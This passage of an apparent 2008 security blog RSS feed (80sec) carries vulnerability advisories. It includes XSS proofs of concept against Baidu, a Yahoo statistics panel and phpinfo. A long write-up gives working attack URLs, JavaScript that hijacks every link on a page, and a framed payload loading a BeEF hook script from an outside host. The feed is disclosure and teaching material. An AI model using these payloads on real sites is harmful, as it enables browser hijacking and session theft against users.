<p>	URL钓鱼欺骗问题，在IE本身里已经被杜绝，但是在第三方浏览器里无一不可以再现。</p>
<p>漏洞解决：等待官方补丁</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/trident-security.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Maxthon遨游浏览器多个高危0day</title>
		<link>http://www.80sec.com/maxthon-vul.html</link>
		<comments>http://www.80sec.com/maxthon-vul.html#comments</comments>
		<pubDate>Thu, 19 Jun 2008 10:52:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全咨讯]]></category>
		<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=17</guid>
		<description><![CDATA[漏洞说明：傲游浏览器是一个强大的多页面浏览器. 除了方便的浏览功能, 傲游浏览器还提供了大量的实用功能改善用户的上网体验，其在中国浏览器市场拥有大量的用户，以安全，界面友好著称。但是80sec安全组织发现遨游在安全处理上存在安全漏洞，导致恶意站点可以修改任意用户配置，读取用户历史访问记录，远程下载文件等种种恶意操作。
漏洞厂商：http://www.maxthon.cn/

漏洞成因：maxthon采用了IE6的内核而不是广泛传说的那样采用IE7内核，而由于遨游对IE6的一些特性并不是十分了解，导致在处理一些特殊情况时出现安全漏洞。maxthon的一些安全策略也可以因此被打破,导致恶意就可以对max用户可以执行任意一些操作，甚至包括max:config和max:history。本次漏洞包括两个以上的不同成因的高危漏洞,细节暂时不会公开.
影响版本：所有版本
漏洞来源：http://www.80sec.com
漏洞利用：80sec暂时不会发放任何exploit代码,若想了解详细细节,请留意官方补丁并关注80sec
漏洞修复：请暂时尽量避免使用Maxthon，等待厂商补丁
漏洞状态：联系厂商中
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：傲游浏览器是一个强大的多页面浏览器. 除了方便的浏览功能, 傲游浏览器还提供了大量的实用功能改善用户的上网体验，其在中国浏览器市场拥有大量的用户，以安全，界面友好著称。但是80sec安全组织发现遨游在安全处理上存在安全漏洞，导致恶意站点可以修改任意用户配置，读取用户历史访问记录，远程下载文件等种种恶意操作。</p>
<p>漏洞厂商：http://www.maxthon.cn/<br />
<span id="more-17"></span><br />
漏洞成因：maxthon采用了IE6的内核而不是广泛传说的那样采用IE7内核，而由于遨游对IE6的一些特性并不是十分了解，导致在处理一些特殊情况时出现安全漏洞。maxthon的一些安全策略也可以因此被打破,导致恶意就可以对max用户可以执行任意一些操作，甚至包括max:config和max:history。本次漏洞包括两个以上的不同成因的高危漏洞,细节暂时不会公开.</p>
<p>影响版本：所有版本</p>
<p>漏洞来源：http://www.80sec.com</p>
<p>漏洞利用：80sec暂时不会发放任何exploit代码,若想了解详细细节,请留意官方补丁并关注80sec</p>
<p>漏洞修复：请暂时尽量避免使用Maxthon，等待厂商补丁</p>
<p>漏洞状态：联系厂商中</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/maxthon-vul.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>跨站脚本漏洞导致的浏览器劫持攻击</title>
		<link>http://www.80sec.com/browser-hijacking.html</link>
		<comments>http://www.80sec.com/browser-hijacking.html#comments</comments>
		<pubDate>Wed, 18 Jun 2008 07:41:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=13</guid>
		<description><![CDATA[&#124;=———————————————————————————————–=&#124;
&#124;=—————–=[ 跨站脚本漏洞导致的浏览器劫持攻击 ]=—————–=&#124;
&#124;=———————————————————————————————–=&#124;
&#124;=————————————-=[ By rayh4c ]=————————————=&#124;
&#124;=——————————-=[ rayh4c@80sec.com ]=—————————-=&#124;
&#124;=————————————————————————————————=&#124;
原始来源：http://www.80sec.com/release/browser-hijacking.txt
0&#215;00 唠叨两句
网上看见很多人研究跨站脚本漏洞,好像跨站脚本漏洞已经成为Web安全中的一大热点了，但实际上很多人并不了解这一漏洞能造成什么程度的危害，某同学曾经报过一个参数类型的URL链接XSS给某程序，被厂商鄙视了下，说这种漏洞有什么用，只能弹个框给自己看，最后一笑了之。

0&#215;01 题外科普
跨站脚本漏洞主要分为两类：
一类是存储型XSS，主要出现在让用户输入数据，供其他浏览此页的用户进行查看的地方，包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据，在页面中显示出来，攻击者在相关页面输入恶意的脚本数据后，用户浏览此类页面就可能受到攻击。另外一类是参数型XSS，主要是将脚本加入URL地址的程序参数里，参数进入程序后在页面直接输出脚本内容，用户点击类似的恶意链接就可能受到攻击。传统的XSS攻击都是盘算如何盗取客户端COOKIE，然后劫持客户端和WEB服务端的会话，其他还有利用XSS进行网络钓鱼的攻击方法，这类攻击都是针对客户端进行攻击，而近年流行的XSS WORM攻击方式，是通过AJAX技术把恶意的XSS数据感染到每一个用户，可以对WEB服务造成很大的影响，间接实现了对WEB服务端的攻击。
0&#215;02 一个典型的参数型跨站脚本漏洞
我拿百度主页的一个XSS做个演示(以前给百度报过漏洞,但是百度没什么反应)，这个漏洞是由于百度主页tn和bar参数过滤不严导致的参数型XSS：

http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss'));
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss'));

tn和bar两个参数对应在页面的输出是两个input表单值，可以使用&#8221;(双引号)闭合表单值，加入CSS属性跨站，页面具体输出如下：

&#60;input type=hidden name=tn value=""/**/style=xss:expression(alert('xss'));">


这个漏洞只能在IE下使用，FIREFOX会把URL链接参数中的&#8221;(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合&#8221;(双引号)跨站。expression()是个不听话的角色，这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码：

eval(unescape(location.hash.substr(1)))

给window对象的方法定义一个值，判断这个值运行一次代码：

(window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1

最后得到完美的攻击链接：

http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29

0&#215;03 新的攻击方式
从攻击的起点来说跨站脚本漏洞是有一定局限性的，跨站脚本漏洞无论是针对客户端还是针对WEB服务端的攻击都是被动式的攻击，我们只能在对方站点有漏洞的页面加入了恶意的javascript,用户只有访问了特定的页面才会触发漏洞，而离开这个页面，攻击也就随之失效。我们都知道AJAX技术中的xmlhttp组件是无法跨域发送请求的，一定程度上浏览器的安全特性间接影响着WEB漏洞的发挥，在《浅析浏览器的跨域安全问题》这篇文档里我就说明过浏览器跨域的一些安全特性,其中我发现window对象打开的窗口如果是同一个域的话，可以向打开的这个窗口再注入脚本运行。利用浏览器的这个安全特性，我们结合跨站脚本漏洞就可以修改同域内任何一个页面，比如利用百度的这个XSS来修改www.baidu.com域内的一个页面：
代码内容：

x=window.open('http://www.baidu.com/duty/');
setTimeout(function(){
x.location="javascript:document.write('茄子宝到此一游')"
},10)

最后可以得到的攻击链接：

http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#x%3Dwindow.open%28%27http%3A//www.baidu.com/duty/%27%29%3B%0D%0AsetTimeout%28function%28%29%7B%0D%0Ax.location%3D%22javascript%3Adocument.write%28%27%u8304%u5B50%u5B9D%u5230%u6B64%u4E00%u6E38%27%29%22%0D%0A%7D%2C10%29

进入这个链接后，允许浏览器弹窗，会弹出 http://www.baidu.com/duty 页面，整个页面会被修改成“茄子宝到此一游” ：）
0&#215;04 利用XSS漏洞跨页面劫持浏览器
现在我就利用所有的条件来实现一次模拟攻击，首先是核心代码，给打开的窗口注入一个JS：

function win(){
x=window.open('http://www.baidu.com');
setTimeout(function(){
x.location="javascript:var s=document.createElement('script');s.setAttribute('src','http://beef.js');document.getElementsByTagName('head')[0].appendChild(s);void(0)"
},3000)
}

然后是劫持代码，历遍当前页面所有的链接，把链接绑定核心代码：

window.onload=function(){
for (i=0;i
&#60;head>
&#60;frameset cols="100%">
&#60;frame name="xss" src='http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval("window.r=1;eval(unescape(location.hash.substr(1)))"):1);#info%20%3D%22%3Chtml%3E%22+%22%5Cn%22+%0D%0A%22%3Cbody%3E%22+%22%5Cn%22+%0D%0A%22%3Ca%20href%3D%5C%22http%3A//www.baidu.com%5C%22%3E%u70B9%u51FB%u8FDB%u5165%u767E%u5EA6%u4E3B%u9875%3C/a%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3Cscript%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22function%20win%28%29%7B%22+%22%5Cn%22+%0D%0A%22x%3Dwindow.open%28%5C%27http%3A//www.baidu.com%5C%27%29%3B%22+%22%5Cn%22+%0D%0A%22setTimeout%28function%28%29%7B%22+%22%5Cn%22+%0D%0A%22x.location%3D%5C%22javascript%3Avar%20s%3Ddocument.createElement%28%5C%27script%5C%27%29%3Bs.setAttribute%28%5C%27src%5C%27%2C%5C%27http%3A//xss.betaslife.com/beef.js%5C%27%29%3Bdocument.getElementsByTagName%28%5C%27head%5C%27%29%5B0%5D.appendChild%28s%29%3Bvoid%280%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%2C2000%29%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22for%20%28i%3D0%3Bi%3Cdocument.links.length%3Bi++%29%20%7B%20%22+%22%5Cn%22+%0D%0A%22document.links%5Bi%5D.href%3D%5C%22javascript%3Awin%28%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/script%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/body%3E%22+%22%5Cn%22+%0D%0A%22%3C/html%3E%22%0D%0Adocument.write%28info%29' scrolling="auto">
&#60;/frameset>
&#60;noframes>
&#60;body>
&#60;/noframes>
&#60;/html>

最后实现的效果是在这个页面打开的链接和浏览的网页的都被注入了脚本，利用参数型跨站脚本漏洞我们成功的构造了一次跨页面的浏览器劫持，模拟攻击中我是给页面注入一个BEEF（非常出名的跨站脚本攻击平台）脚本进行渗透攻击，具体可以参照我这里做好的一个录像:
http://www.80sec.com/release/baidu-xss.html
在这里我只是完成了一个很简陋的EXP，实际攻击中我们注入的脚本应该是把页面重写成跨框架脚本攻击页面(http://ortdx.blog.163.com/blog/static/213610812006912114755107/)，然后再结合AJAX技术劫持页面里所有的链接和表单，新浏览的页面和新开的窗口都能自动注入脚本，这样几乎可以控制住所有从跨站脚本漏洞页面出来的页面。
0x05 总结
以往大家都以为XSS漏洞只能对特定页面造成影响，经过我的分析大家应该了解到XSS漏洞的影响应该是整站范围的。以后的WEB x.0网站开始大量使用AJAX技术，浏览页面几乎是不刷新的，所以利用XSS漏洞劫持浏览器这种攻击方式将是致命的。另外可以看到的是，XSS已经不是传统意义上的劫持会话进行攻击，而是劫持用户的整个浏览器。建议各大网站和程序开发者，谨慎对待每一个可能出现安全问题的细节，多检查程序中的输入输出，尽量避免XSS漏洞。对于用户可以考虑使用Firefox浏览器的noscript插件，从客户端防住XSS攻击。
最后感谢HI群的朋友们给我提供的资料，同时欢迎各位朋友到80SEC来进行技术交流。
]]></description>
			<content:encoded><![CDATA[<p>|=———————————————————————————————–=|<br />
|=—————–=[ 跨站脚本漏洞导致的浏览器劫持攻击 ]=—————–=|<br />
|=———————————————————————————————–=|<br />
|=————————————-=[ By rayh4c ]=————————————=|<br />
|=——————————-=[ rayh4c@80sec.com ]=—————————-=|<br />
|=————————————————————————————————=|</p>
<p>原始来源：http://www.80sec.com/release/browser-hijacking.txt</p>
<p>0&#215;00 唠叨两句</p>
<p>网上看见很多人研究跨站脚本漏洞,好像跨站脚本漏洞已经成为Web安全中的一大热点了，但实际上很多人并不了解这一漏洞能造成什么程度的危害，某同学曾经报过一个参数类型的URL链接XSS给某程序，被厂商鄙视了下，说这种漏洞有什么用，只能弹个框给自己看，最后一笑了之。<br />
<span id="more-13"></span></p>
<p>0&#215;01 题外科普</p>
<p>跨站脚本漏洞主要分为两类：</p>
<p>一类是存储型XSS，主要出现在让用户输入数据，供其他浏览此页的用户进行查看的地方，包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据，在页面中显示出来，攻击者在相关页面输入恶意的脚本数据后，用户浏览此类页面就可能受到攻击。另外一类是参数型XSS，主要是将脚本加入URL地址的程序参数里，参数进入程序后在页面直接输出脚本内容，用户点击类似的恶意链接就可能受到攻击。传统的XSS攻击都是盘算如何盗取客户端COOKIE，然后劫持客户端和WEB服务端的会话，其他还有利用XSS进行网络钓鱼的攻击方法，这类攻击都是针对客户端进行攻击，而近年流行的XSS WORM攻击方式，是通过AJAX技术把恶意的XSS数据感染到每一个用户，可以对WEB服务造成很大的影响，间接实现了对WEB服务端的攻击。</p>
<p>0&#215;02 一个典型的参数型跨站脚本漏洞</p>
<p>我拿百度主页的一个XSS做个演示(以前给百度报过漏洞,但是百度没什么反应)，这个漏洞是由于百度主页tn和bar参数过滤不严导致的参数型XSS：</p>
<p><code><br />
http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss'));<br />
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss'));<br />
</code></p>
<p>tn和bar两个参数对应在页面的输出是两个input表单值，可以使用&#8221;(双引号)闭合表单值，加入CSS属性跨站，页面具体输出如下：</p>
<p><code><br />
&#60;input type=hidden name=tn value=""/**/style=xss:expression(alert('xss'));"><br />
<input type=hidden name=bar value="">
</code></p>
<p>这个漏洞只能在IE下使用，FIREFOX会把URL链接参数中的&#8221;(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合&#8221;(双引号)跨站。expression()是个不听话的角色，这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码：</p>
<p><code><br />
eval(unescape(location.hash.substr(1)))<br />
</code></p>
<p>给window对象的方法定义一个值，判断这个值运行一次代码：</p>
<p><code><br />
(window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1<br />
</code></p>
<p>最后得到完美的攻击链接：</p>
<p><code><br />
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29<br />
</code></p>
<p>0&#215;03 新的攻击方式</p>
<p>从攻击的起点来说跨站脚本漏洞是有一定局限性的，跨站脚本漏洞无论是针对客户端还是针对WEB服务端的攻击都是被动式的攻击，我们只能在对方站点有漏洞的页面加入了恶意的javascript,用户只有访问了特定的页面才会触发漏洞，而离开这个页面，攻击也就随之失效。我们都知道AJAX技术中的xmlhttp组件是无法跨域发送请求的，一定程度上浏览器的安全特性间接影响着WEB漏洞的发挥，在《浅析浏览器的跨域安全问题》这篇文档里我就说明过浏览器跨域的一些安全特性,其中我发现window对象打开的窗口如果是同一个域的话，可以向打开的这个窗口再注入脚本运行。利用浏览器的这个安全特性，我们结合跨站脚本漏洞就可以修改同域内任何一个页面，比如利用百度的这个XSS来修改www.baidu.com域内的一个页面：</p>
<p>代码内容：</p>
<p><code><br />
x=window.open('http://www.baidu.com/duty/');<br />
setTimeout(function(){<br />
x.location="javascript:document.write('茄子宝到此一游')"<br />
},10)<br />
</code></p>
<p>最后可以得到的攻击链接：</p>
<p><code><br />
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#x%3Dwindow.open%28%27http%3A//www.baidu.com/duty/%27%29%3B%0D%0AsetTimeout%28function%28%29%7B%0D%0Ax.location%3D%22javascript%3Adocument.write%28%27%u8304%u5B50%u5B9D%u5230%u6B64%u4E00%u6E38%27%29%22%0D%0A%7D%2C10%29<br />
</code></p>
<p>进入这个链接后，允许浏览器弹窗，会弹出 http://www.baidu.com/duty 页面，整个页面会被修改成“茄子宝到此一游” ：）</p>
<p>0&#215;04 利用XSS漏洞跨页面劫持浏览器</p>
<p>现在我就利用所有的条件来实现一次模拟攻击，首先是核心代码，给打开的窗口注入一个JS：</p>
<p><code><br />
function win(){<br />
x=window.open('http://www.baidu.com');<br />
setTimeout(function(){<br />
x.location="javascript:var s=document.createElement('script');s.setAttribute('src','http://beef.js');document.getElementsByTagName('head')[0].appendChild(s);void(0)"<br />
},3000)<br />
}<br />
</code></p>
<p>然后是劫持代码，历遍当前页面所有的链接，把链接绑定核心代码：</p>
<p><code><br />
window.onload=function(){<br />
for (i=0;i<document.links.length;i++) {<br />
document.links[i].href="javascript:win()"<br />
}<br />
}<br />
</code></p>
<p>再利用百度XSS重写一个页面加入劫持代码，并且把这个攻击链接放入一个框架页：</p>
<p><code><br />
&#60;html><br />
&#60;head></head><br />
&#60;frameset cols="100%"><br />
&#60;frame name="xss" src='http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval("window.r=1;eval(unescape(location.hash.substr(1)))"):1);#info%20%3D%22%3Chtml%3E%22+%22%5Cn%22+%0D%0A%22%3Cbody%3E%22+%22%5Cn%22+%0D%0A%22%3Ca%20href%3D%5C%22http%3A//www.baidu.com%5C%22%3E%u70B9%u51FB%u8FDB%u5165%u767E%u5EA6%u4E3B%u9875%3C/a%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3Cscript%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22function%20win%28%29%7B%22+%22%5Cn%22+%0D%0A%22x%3Dwindow.open%28%5C%27http%3A//www.baidu.com%5C%27%29%3B%22+%22%5Cn%22+%0D%0A%22setTimeout%28function%28%29%7B%22+%22%5Cn%22+%0D%0A%22x.location%3D%5C%22javascript%3Avar%20s%3Ddocument.createElement%28%5C%27script%5C%27%29%3Bs.setAttribute%28%5C%27src%5C%27%2C%5C%27http%3A//xss.betaslife.com/beef.js%5C%27%29%3Bdocument.getElementsByTagName%28%5C%27head%5C%27%29%5B0%5D.appendChild%28s%29%3Bvoid%280%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%2C2000%29%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22for%20%28i%3D0%3Bi%3Cdocument.links.length%3Bi++%29%20%7B%20%22+%22%5Cn%22+%0D%0A%22document.links%5Bi%5D.href%3D%5C%22javascript%3Awin%28%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/script%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/body%3E%22+%22%5Cn%22+%0D%0A%22%3C/html%3E%22%0D%0Adocument.write%28info%29' scrolling="auto"><br />
&#60;/frameset><br />
&#60;noframes><br />
&#60;body></body><br />
&#60;/noframes><br />
&#60;/html><br />
</code></p>
<p>最后实现的效果是在这个页面打开的链接和浏览的网页的都被注入了脚本，利用参数型跨站脚本漏洞我们成功的构造了一次跨页面的浏览器劫持，模拟攻击中我是给页面注入一个BEEF（非常出名的跨站脚本攻击平台）脚本进行渗透攻击，具体可以参照我这里做好的一个录像:</p>
<p>http://www.80sec.com/release/baidu-xss.html</p>
<p>在这里我只是完成了一个很简陋的EXP，实际攻击中我们注入的脚本应该是把页面重写成跨框架脚本攻击页面(http://ortdx.blog.163.com/blog/static/213610812006912114755107/)，然后再结合AJAX技术劫持页面里所有的链接和表单，新浏览的页面和新开的窗口都能自动注入脚本，这样几乎可以控制住所有从跨站脚本漏洞页面出来的页面。</p>
<p>0x05 总结</p>
<p>以往大家都以为XSS漏洞只能对特定页面造成影响，经过我的分析大家应该了解到XSS漏洞的影响应该是整站范围的。以后的WEB x.0网站开始大量使用AJAX技术，浏览页面几乎是不刷新的，所以利用XSS漏洞劫持浏览器这种攻击方式将是致命的。另外可以看到的是，XSS已经不是传统意义上的劫持会话进行攻击，而是劫持用户的整个浏览器。建议各大网站和程序开发者，谨慎对待每一个可能出现安全问题的细节，多检查程序中的输入输出，尽量避免XSS漏洞。对于用户可以考虑使用Firefox浏览器的noscript插件，从客户端防住XSS攻击。<br />
最后感谢HI群的朋友们给我提供的资料，同时欢迎各位朋友到80SEC来进行技术交流。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/browser-hijacking.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Yahoo! 统计功能跨站脚本漏洞</title>
		<link>http://www.80sec.com/yahoo-tongji-xss-2.html</link>
		<comments>http://www.80sec.com/yahoo-tongji-xss-2.html#comments</comments>
		<pubDate>Wed, 18 Jun 2008 07:36:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=14</guid>
		<description><![CDATA[漏洞说明：	yahoo统计功能被广泛用于站点的访问统计，用于做各种数据分析如访问来源，客户访问页面统计等等，具体信息可以访问网址http://tongjia.yahoo.cn。但是80sec发现该功能存在严重的漏洞，可能导致用户信息被窃取，并且可以占有该用户的yahoo ID，进入包括mail.yahoo.cn之内的其他服务。
漏洞成因：	yahoo统计功能在获得用户提交的参数时缺少必要的过滤，导致恶意用户可以提交精心构造的数据进入控制面板后台，譬如访问地址信息就会不加过滤地进入后台，这样就可以导致一个跨站脚本攻击漏洞。另外由于yahoo对用户认证信息缺乏必要的保护，就可以导致恶意用户获得这些敏感信息，然后利用yahoo的认证机制的缺陷，即可利用该用户的身份进入其他的服务如mail.yahoo.cn

漏洞测试：	在带有yahoo统计的页面，通过如下地址访问：

		http://www.foosite.com/index.php?">&#60;script>alert(document.cookie)&#60;/script>

		然后在foosite的yahoo统计控制面板里的访问页面分析即可看到触发效果。通过引入恶意的js，攻击者就可以获得站长的身份进行其他危险操作。80sec均已测试成功。
漏洞修补：	厂商已经修复
漏洞状态：	80sec于6.13发现该漏洞
		80sec于6.13提交给厂商
		6.16厂商修复漏洞
		6.18发出公告
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：	yahoo统计功能被广泛用于站点的访问统计，用于做各种数据分析如访问来源，客户访问页面统计等等，具体信息可以访问网址http://tongjia.yahoo.cn。但是80sec发现该功能存在严重的漏洞，可能导致用户信息被窃取，并且可以占有该用户的yahoo ID，进入包括mail.yahoo.cn之内的其他服务。</p>
<p>漏洞成因：	yahoo统计功能在获得用户提交的参数时缺少必要的过滤，导致恶意用户可以提交精心构造的数据进入控制面板后台，譬如访问地址信息就会不加过滤地进入后台，这样就可以导致一个跨站脚本攻击漏洞。另外由于yahoo对用户认证信息缺乏必要的保护，就可以导致恶意用户获得这些敏感信息，然后利用yahoo的认证机制的缺陷，即可利用该用户的身份进入其他的服务如mail.yahoo.cn<br />
<span id="more-14"></span><br />
漏洞测试：	在带有yahoo统计的页面，通过如下地址访问：</p>
<p><code><br />
		http://www.foosite.com/index.php?">&#60;script>alert(document.cookie)&#60;/script><br />
</code></p>
<p>		然后在foosite的yahoo统计控制面板里的访问页面分析即可看到触发效果。通过引入恶意的js，攻击者就可以获得站长的身份进行其他危险操作。80sec均已测试成功。</p>
<p>漏洞修补：	厂商已经修复</p>
<p>漏洞状态：	80sec于6.13发现该漏洞<br />
		80sec于6.13提交给厂商<br />
		6.16厂商修复漏洞<br />
		6.18发出公告</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/yahoo-tongji-xss-2.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpinfo跨站脚本漏洞</title>
		<link>http://www.80sec.com/phpinfo-xss.html</link>
		<comments>http://www.80sec.com/phpinfo-xss.html#comments</comments>
		<pubDate>Fri, 13 Jun 2008 02:57:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=10</guid>
		<description><![CDATA[漏洞说明：	php是一款被广泛使用的编程语言，可以被嵌套在html里用做web程序开发。phpinfo()是用来显示当前php环境的一个函数，许多站点和程序都会将phpinfo放在自己的站点上或者在程序里显示，但是phpinfo里存在一些安全问题，导致精心构造数据就可以产生一个跨站脚本漏洞，可以被用来进行攻击。

漏洞成因：	phpinfo页面对输入的参数都做了详细的过滤，但是没有对输出的进行charset的指定，而在一些浏览器里如IE7里，你可以让它自动选择编码或者通过一个iframe页面给它指定编码，这样就可以饶过phpinfo的过滤而产生一个跨站脚本漏洞。
漏洞来源:	http://www.80sec.com/release/phpinfo-xss.txt
漏洞利用：	利用代码如下：

&#60;html>
&#60;head>
&#60;META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
&#60;/head>
&#60;body>
&#60;iframe src="http://www.80sec.com/phpinfo.php?+ADw-SCRIPT+AD4-alert(document.domain);+ADw-/SCRIPT+AD4-=1">

	以上代码在IE7+php 5.2.6测试成功。phpinfo页面的xss甚至比其他页面更加危险，因为如果有phpinfo的存在，恶意攻击者可以利用phpinfo的输出bypass如httponly和一些基础认证。
漏洞影响：	影响所有版本的php和浏览器IE7
漏洞修补：	建议暂时删除站点的phpinfo页面避免被人利用。
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：	php是一款被广泛使用的编程语言，可以被嵌套在html里用做web程序开发。phpinfo()是用来显示当前php环境的一个函数，许多站点和程序都会将phpinfo放在自己的站点上或者在程序里显示，但是phpinfo里存在一些安全问题，导致精心构造数据就可以产生一个跨站脚本漏洞，可以被用来进行攻击。<br />
<span id="more-10"></span><br />
漏洞成因：	phpinfo页面对输入的参数都做了详细的过滤，但是没有对输出的进行charset的指定，而在一些浏览器里如IE7里，你可以让它自动选择编码或者通过一个iframe页面给它指定编码，这样就可以饶过phpinfo的过滤而产生一个跨站脚本漏洞。<br />
漏洞来源:	http://www.80sec.com/release/phpinfo-xss.txt<br />
漏洞利用：	利用代码如下：</p>
<p><code><br />
&#60;html><br />
&#60;head><br />
&#60;META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"><br />
&#60;/head><br />
&#60;body><br />
&#60;iframe src="http://www.80sec.com/phpinfo.php?+ADw-SCRIPT+AD4-alert(document.domain);+ADw-/SCRIPT+AD4-=1"></iframe><br />
</code></p>
<p>	以上代码在IE7+php 5.2.6测试成功。phpinfo页面的xss甚至比其他页面更加危险，因为如果有phpinfo的存在，恶意攻击者可以利用phpinfo的输出bypass如httponly和一些基础认证。</p>
<p>漏洞影响：	影响所有版本的php和浏览器IE7<br />
漏洞修补：	建议暂时删除站点的phpinfo页面避免被人利用。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/phpinfo-xss.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
